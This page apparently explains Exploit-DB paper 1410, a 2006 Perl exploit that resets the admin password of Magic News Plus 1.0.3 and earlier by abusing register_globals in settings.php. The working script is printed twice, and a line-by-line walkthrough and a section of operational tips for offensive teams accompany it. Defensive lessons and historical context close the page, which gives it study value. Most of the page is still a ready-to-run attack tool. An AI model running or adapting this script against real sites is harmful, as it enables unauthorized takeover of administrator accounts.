Magic News Plus Password Change Exploit Explained

Magic News Plus Password Change Exploit Explained
What this paper is
This paper details a vulnerability in Magic News Plus version 1.0.3 and earlier. Specifically, it describes how an input validation flaw in the settings.php file allows an attacker to change the administrative password without knowing the current one. The exploit is presented as a Perl script that automates this process.
Simple technical breakdown
The core of the vulnerability lies in how the settings.php script handles user input for changing the admin password. When the action parameter is set to "change", the script expects the current password (passwd) and a confirmation of the new password (confirm_passwd) to match the new password itself (new_passwd). However, due to a flaw, it doesn't properly validate the current password against the actual stored administrative password. Instead, it seems to use the provided passwd value for a comparison that can be bypassed.
The exploit leverages this by sending a crafted HTTP request. It sets action to "change", provides a dummy value for passwd (which is ignored or incorrectly compared), and then sets both new_passwd and confirm_passwd to the desired new password. This bypasses the intended security check and allows the password to be reset. The exploit also relies on register_globals = on being enabled on the target web server, a common PHP configuration setting at the time that made global variables directly available from HTTP requests.
Complete code and payload walkthrough
The provided Perl script automates the exploitation of this vulnerability. Let's break down its components:
#!/usr/bin/perl
#
# Magic News Plus <=1.0.3 Admin Pass Change Exploit
#
# Copyright (c) 2006 cijfer <cijfer@netti.fi>
# All rights reserved.
#
# An input validation flaw exists within 'settings.php'
# of Magic News Plus which can lead to the changing of
# the administrative password. Here is where the problem
# is (line 108 of 426):
#
# ...
# [1] elseif ($action == "change")
# ...
# [2] if ($passwd != $admin_password)
# ...
# [3] if ($new_passwd != $confirm_passwd)
# ...
#
# 1. &action=change
# 2. &passwd=<ANYTHING>&admin_password=<AGAIN>
# 3. &new_passwd=<NEW>&confirm_passwd=<AGAIN>
#
# -> register_globals = on
#
# haha, sorry, no cmd execute this time.
#
# $Id: cijfer-mnxpl.pl,v 0.1 2006/01/07 19:24:00 cijfer Exp cijfer $
use LWP::UserAgent;
use Getopt::Long;
use Term::ANSIColor;
$port = 80;
$new = "cijfer";
$res = GetOptions("host=s" => \$host, "dir=s" => \$dir, "port=i" => \$port, "tunnel=s" => \$tunnel, "new=s" => \$new);
&usage unless $host and $dir;
&exploit;
sub usage
{
print "Magic News Plus <=1.0.3 Admin Pass Change Exploit\n";
print "Usage: $0 -hdn [OPTION]...\n\n";
print " -h --host\thostname or ip of target\n";
print " -d --dir\tdirectory without ending slash\n";
print " -p --port\tport number (default: 80)\n";
print " -t --tunnel\tprovide an HTTP proxy (ex. 0.0.0.0:8080)\n";
print " -n --new\tnew admin password you want (default: cijfer)\n\n";
exit;
}
sub try
{
$cij=LWP::UserAgent->new() or die;
$cij->agent("Mozilla/5.0 [en] (X11; I; SunOS 5.6 sun4u)");
$cij->proxy("http", "http://".$tunnel."/") unless !$tunnel;
$path="http://".$host.$dir."/";
$out=$cij->get($path."index.php?login=admin&password=".$new."&action=login");
if($out->is_success)
{
if($out->content =~ /Wrong/)
{
print color("red"), ":(\n", color("reset");
exit;
}
}
}
sub exploit
{
$cij=LWP::UserAgent->new() or die;
$cij->agent("Mozilla/5.0 [en] (X11; I; SunOS 5.6 sun4u)");
$cij->proxy("http", "http://".$tunnel."/") unless !$tunnel;
$string = "settings.php?action=change";
$string .= "&passwd=cijfer";
$string .= "&admin_password=cijfer";
$string .= "&new_passwd=";
$string .= $new;
$string .= "&confirm_passwd=";
$string .= $new;
$path="http://".$host.$dir."/";
$out=$cij->get($path.$string);
if($out->is_success)
{
print "trying username admin and password ".$new."...\n";
&try;
print "user: admin, pass: ".$new;
print color("green"), " :)) ", color("reset");
print "-- http://".$host.$dir."\n";
}
else
{
print color("red"), ":(\n", color("reset");
exit;
}
}
# milw0rm.com [2006-01-09]Code Fragment/Block -> Practical Purpose
#!/usr/bin/perl: Shebang line, indicating the script should be executed with Perl.use LWP::UserAgent;: Imports theLWP::UserAgentmodule, which is used for making HTTP requests.use Getopt::Long;: Imports theGetopt::Longmodule, used for parsing command-line options.use Term::ANSIColor;: Imports theTerm::ANSIColormodule, used for adding color to terminal output (e.g., red for errors, green for success).$port = 80;: Initializes the default HTTP port to 80.$new = "cijfer";: Initializes the default new admin password to "cijfer".$res = GetOptions(...): Parses command-line arguments. It defines options like--host,--dir,--port,--tunnel, and--new, storing their values in corresponding Perl variables."host=s" => \$host: Expects a string value for the host."dir=s" => \$dir: Expects a string value for the directory."port=i" => \$port: Expects an integer value for the port."tunnel=s" => \$tunnel: Expects a string value for the proxy."new=s" => \$new: Expects a string value for the new password.
&usage unless $host and $dir;: Calls theusagesubroutine if thehostordirarguments are not provided. This ensures the script has the minimum required information to run.&exploit;: Calls the mainexploitsubroutine to perform the attack.sub usage { ... }: This subroutine prints the script's usage instructions and exits. It details the available command-line options.sub try { ... }: This subroutine attempts to log in as the admin using the new password.$cij = LWP::UserAgent->new() or die;: Creates a newLWP::UserAgentobject.$cij->agent(...): Sets the User-Agent string for the HTTP requests. This is a common practice to mimic a legitimate browser.$cij->proxy(...) unless !$tunnel;: Configures an HTTP proxy if the--tunneloption was provided.$path = "http://".$host.$dir."/";: Constructs the base URL for the target web application.$out = $cij->get($path."index.php?login=admin&password=".$new."&action=login");: Sends an HTTP GET request to attempt to log in as the admin user with the newly set password.if($out->is_success): Checks if the HTTP request was successful.if($out->content =~ /Wrong/): Checks if the response content contains the string "Wrong", which typically indicates a failed login attempt.print color("red"), ":(\n", color("reset"); exit;: If login fails, prints a red sad face and exits.
sub exploit { ... }: This is the main subroutine that performs the password change.$cij = LWP::UserAgent->new() or die;: Creates a newLWP::UserAgentobject (similar totry).$cij->agent(...): Sets the User-Agent string.$cij->proxy(...) unless !$tunnel;: Configures proxy if specified.$string = "settings.php?action=change";: Starts building the URL string for the password change request. It targetssettings.phpand sets theactionparameter to "change".$string .= "&passwd=cijfer";: Appends thepasswdparameter. The value "cijfer" is used here as a placeholder, exploiting the vulnerability where this value isn't strictly validated against the actual admin password.$string .= "&admin_password=cijfer";: Appends theadmin_passwordparameter. This is also set to "cijfer". The original paper's comment&passwd=<ANYTHING>&admin_password=<AGAIN>suggests that the value here might be compared against the providedpasswdvalue, and by setting them to the same value, it bypasses a check.$string .= "&new_passwd="; $string .= $new;: Appends thenew_passwdparameter with the desired new password.$string .= "&confirm_passwd="; $string .= $new;: Appends theconfirm_passwdparameter, also set to the desired new password. This satisfies the condition$new_passwd != $confirm_passwdcheck (which would be false if they are equal).$path = "http://".$host.$dir."/";: Constructs the base URL.$out = $cij->get($path.$string);: Sends the crafted HTTP GET request to the target.if($out->is_success): Checks if the HTTP request was successful.print "trying username admin and password ".$new."...\n"; &try;: If the password change request was successful, it then calls thetrysubroutine to verify if the new password works for logging in.print "user: admin, pass: ".$new; print color("green"), " :)) ", color("reset"); print "-- http://".$host.$dir."\n";: If the login attempt intryis successful, it prints a success message with the new credentials and the target URL.else { print color("red"), ":(\n", color("reset"); exit; }: If the initial password change request fails, it prints an error message and exits.
# milw0rm.com [2006-01-09]: A comment indicating the source and publication date of the exploit.
Shellcode/Payload Segments:
This exploit does not contain traditional shellcode. The "payload" is the crafted HTTP GET request itself, which is designed to trigger the vulnerable functionality within the web application. The exploit's objective is to change the admin password, not to execute arbitrary code on the server.
Practical details for offensive operations teams
- Required Access Level: Network access to the target web server is required. The attacker needs to be able to send HTTP requests to the web application. No prior authentication or local access is needed.
- Lab Preconditions:
- A target environment running Magic News Plus version 1.0.3 or earlier.
- The web server must have
register_globals = onenabled in its PHP configuration. This is a critical prerequisite. - The web application must be accessible over HTTP/HTTPS.
- Tooling Assumptions:
- Perl interpreter installed on the attacker's machine.
- The
LWP::UserAgent,Getopt::Long, andTerm::ANSIColorPerl modules must be installed. These are standard modules, but might need explicit installation on some minimal systems. - Network connectivity to the target.
- Execution Pitfalls:
register_globals = off: Ifregister_globalsis turned off on the target server, this exploit will not work as the script relies on direct variable injection from the URL parameters.- Incorrect Directory: Providing the wrong directory path (
-doption) will lead to the exploit targeting the wrong location or failing to find the application. - Firewalls/WAFs: Network firewalls or Web Application Firewalls (WAFs) might block the crafted HTTP requests, especially if they inspect URL parameters for suspicious patterns.
- Application Patches: If the target application has been patched to fix this specific vulnerability, the exploit will fail.
- Incorrect Version: The exploit is specific to versions <= 1.0.3. Targeting a newer version will likely result in failure.
- Login Logic Changes: If the
index.phplogin logic or thesettings.phppassword change logic has been significantly altered in a custom version, the exploit might not function as expected.
- Telemetry:
- Network Traffic: Outbound HTTP GET requests to the target server, specifically targeting
settings.phpwith parameters likeaction=change,passwd,admin_password,new_passwd, andconfirm_passwd. - Web Server Logs: Access logs showing requests to
settings.php. If the exploit is successful, subsequent login attempts toindex.phpusing the new password might also be logged. - Application Logs: If the application logs administrative actions or password changes, these might be visible.
- Successful Login: The
trysubroutine attempts a login with the new password. Successful execution of thetrysubroutine indicates the password change was successful.
- Network Traffic: Outbound HTTP GET requests to the target server, specifically targeting
Where this was used and when
This exploit was published in January 2006. At that time, web applications like Magic News Plus were common targets. Exploits of this nature were frequently discovered and weaponized for unauthorized access to content management systems and other web-based platforms. The vulnerability relies on register_globals = on, a PHP setting that was widely used in the early to mid-2000s but was deprecated and eventually removed due to security risks. Therefore, this exploit would have been relevant in the mid-2000s for systems where Magic News Plus was deployed and register_globals was enabled.
Defensive lessons for modern teams
- Disable
register_globals: This is the most critical lesson. Modern PHP versions have this directive removed or disabled by default. Ensure it is off on any legacy PHP deployments. - Input Validation is Paramount: Always validate and sanitize all user-supplied input. Never trust data coming from external sources. This includes checking data types, lengths, and expected formats.
- Secure Password Handling: Implement robust password change mechanisms. This typically involves:
- Requiring the current password for changes.
- Using strong, one-way hashing algorithms (like bcrypt or Argon2) for storing passwords.
- Implementing rate limiting and account lockout mechanisms to prevent brute-force attacks.
- Keep Software Updated: Regularly update web applications and their underlying frameworks to patch known vulnerabilities.
- Web Application Firewalls (WAFs): While not a silver bullet, WAFs can help detect and block common attack patterns, including those targeting known vulnerabilities.
- Secure Configuration: Regularly review and secure server and application configurations, disabling unnecessary features or directives (like
register_globals).
ASCII visual (if applicable)
This exploit is a direct HTTP request manipulation. A visual representation of the flow would be:
+-----------------+ +-------------------------------------+ +-----------------+
| Attacker's Host | ----> | Target Web Server (Magic News Plus) | ----> | Attacker's Host |
| (Perl Script) | | (settings.php vulnerability) | | (Confirmation) |
+-----------------+ +-------------------------------------+ +-----------------+
| |
| 1. Craft HTTP GET Request |
| (e.g., settings.php?action= |
| change&passwd=...&new_passwd=|
| ...) |
| |
| | 2. Process Request,
| | Change Password
| | (if vulnerable)
| |
| | 3. Respond with Success/Failure
| |
| | 4. (Optional) Attempt Login
| | with new credentials
| | (via index.php)
| |
| | 5. Respond with Login Success/Failure
| |
+-----------------------------------+Source references
- PAPER ID: 1410
- PAPER TITLE: Magic News Plus 1.0.3 - Admin Pass Change
- AUTHOR: cijfer
- PUBLISHED: 2006-01-09
- KEYWORDS: PHP, webapps
- PAPER URL: https://www.exploit-db.com/papers/1410
- RAW URL: https://www.exploit-db.com/raw/1410
Original Exploit-DB Content (Verbatim)
#!/usr/bin/perl
#
# Magic News Plus <=1.0.3 Admin Pass Change Exploit
#
# Copyright (c) 2006 cijfer <cijfer@netti.fi>
# All rights reserved.
#
# An input validation flaw exists within 'settings.php'
# of Magic News Plus which can lead to the changing of
# the administrative password. Here is where the problem
# is (line 108 of 426):
#
# ...
# [1] elseif ($action == "change")
# ...
# [2] if ($passwd != $admin_password)
# ...
# [3] if ($new_passwd != $confirm_passwd)
# ...
#
# 1. &action=change
# 2. &passwd=<ANYTHING>&admin_password=<AGAIN>
# 3. &new_passwd=<NEW>&confirm_passwd=<AGAIN>
#
# -> register_globals = on
#
# haha, sorry, no cmd execute this time.
#
# $Id: cijfer-mnxpl.pl,v 0.1 2006/01/07 19:24:00 cijfer Exp cijfer $
use LWP::UserAgent;
use Getopt::Long;
use Term::ANSIColor;
$port = 80;
$new = "cijfer";
$res = GetOptions("host=s" => \$host, "dir=s" => \$dir, "port=i" => \$port, "tunnel=s" => \$tunnel, "new=s" => \$new);
&usage unless $host and $dir;
&exploit;
sub usage
{
print "Magic News Plus <=1.0.3 Admin Pass Change Exploit\n";
print "Usage: $0 -hdn [OPTION]...\n\n";
print " -h --host\thostname or ip of target\n";
print " -d --dir\tdirectory without ending slash\n";
print " -p --port\tport number (default: 80)\n";
print " -t --tunnel\tprovide an HTTP proxy (ex. 0.0.0.0:8080)\n";
print " -n --new\tnew admin password you want (default: cijfer)\n\n";
exit;
}
sub try
{
$cij=LWP::UserAgent->new() or die;
$cij->agent("Mozilla/5.0 [en] (X11; I; SunOS 5.6 sun4u)");
$cij->proxy("http", "http://".$tunnel."/") unless !$tunnel;
$path="http://".$host.$dir."/";
$out=$cij->get($path."index.php?login=admin&password=".$new."&action=login");
if($out->is_success)
{
if($out->content =~ /Wrong/)
{
print color("red"), ":(\n", color("reset");
exit;
}
}
}
sub exploit
{
$cij=LWP::UserAgent->new() or die;
$cij->agent("Mozilla/5.0 [en] (X11; I; SunOS 5.6 sun4u)");
$cij->proxy("http", "http://".$tunnel."/") unless !$tunnel;
$string = "settings.php?action=change";
$string .= "&passwd=cijfer";
$string .= "&admin_password=cijfer";
$string .= "&new_passwd=";
$string .= $new;
$string .= "&confirm_passwd=";
$string .= $new;
$path="http://".$host.$dir."/";
$out=$cij->get($path.$string);
if($out->is_success)
{
print "trying username admin and password ".$new."...\n";
&try;
print "user: admin, pass: ".$new;
print color("green"), " :)) ", color("reset");
print "-- http://".$host.$dir."\n";
}
else
{
print color("red"), ":(\n", color("reset");
exit;
}
}
# milw0rm.com [2006-01-09]